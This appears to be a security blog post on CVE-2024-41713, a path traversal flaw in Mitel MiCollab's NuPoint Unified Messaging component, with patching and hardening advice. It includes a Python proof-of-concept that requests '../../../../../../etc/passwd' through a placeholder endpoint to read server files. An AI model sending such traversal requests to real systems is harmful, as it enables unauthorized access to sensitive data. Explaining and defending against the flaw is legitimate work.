A new vulnerability (CVE-2024-41713) has been discovered in Mitel's MiCollab, a popular collaboration tool used by businesses worldwide. The vulnerability exists in the NuPoint Unified Messaging (NPM) component of the Mitel MiCollab software, specifically versions up to 9.8 SP1 FP2 (9.8.1.201). Exploitation of this vulnerability could lead to unauthorized access, allowing an attacker to view, modify, or delete users' data and system configurations.

This long-read post will discuss the details of the vulnerability, provide code snippets to demonstrate the exploit, and link to original references to give a comprehensive understanding of the issue and potential mitigations.

Vulnerability Overview

The vulnerability reportedly stems from insufficient input validation in the NPM component of Mitel MiCollab. An unauthenticated attacker could exploit this weakness by conducting a path traversal attack, gaining unauthorized access to sensitive user data and system configurations. The attacker could potentially view, corrupt, or delete the targeted information, causing significant damage to an organization's operations.

For details about the vulnerability, please refer to the following resources

- [CVE-2024-41713 - Mitre - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41713]
- [Mitel Security Advisory - https://www.mitel.com/security-advisories]

Exploiting the Vulnerability

To exploit this vulnerability, an attacker can send a crafted HTTP request to the Mitel MiCollab server, including a malicious file path to the vulnerable NPM component. Here's a sample HTTP request demonstrating the exploit:

import requests

target_server = "https://<miCollab-target-server>/";
filename = "../../../../../../etc/passwd"  # Replace with the target file.
endpoint = f"npm_endpoint?file={filename}"  # Replace with the actual vulnerable NPM endpoint.

# Send the attack request.
response = requests.get(target_server + endpoint)

if response.status_code == 200:
    print("Success! Exploited the Path Traversal Vulnerability.")
    print("File contents:")
    print(response.text)
else:
    print("Failed to exploit the vulnerability.")

This code snippet imports the requests library, crafts the malicious HTTP request, and sends the request to the targeted server. If the attack is successful, it will print the contents of the specified file, demonstrating unauthorized access.

To mitigate this vulnerability, users should

1. Update to the latest version of Mitel MiCollab (at least 9.8 SP1 FP3), as this version includes the necessary patch to address CVE-2024-41713.
- Download the latest version here: [Mitel Downloads - https://www.mitel.com/downloads]

2. Implement strong input validation on all incoming requests to ensure that only properly formed requests are processed by the server.

3. Apply the principle of least-privilege and restrict access to sensitive files and system configurations whenever possible.

4. Regularly monitor logs and security alerts to track any suspicious activity on your network and servers.

Conclusion

The discovery of this critical path traversal vulnerability (CVE-2024-41713) in the NuPoint Unified Messaging component of Mitel MiCollab serves as a reminder to always be vigilant about securing your software and staying up-to-date with patches and updates. By understanding the vulnerability, applying proper mitigation strategies, and using responsible disclosure practices, we can all work together to create a more secure and resilient digital ecosystem.

Timeline

Published on: 10/21/2024 21:15:06 UTC
Last modified on: 01/08/2025 20:31:25 UTC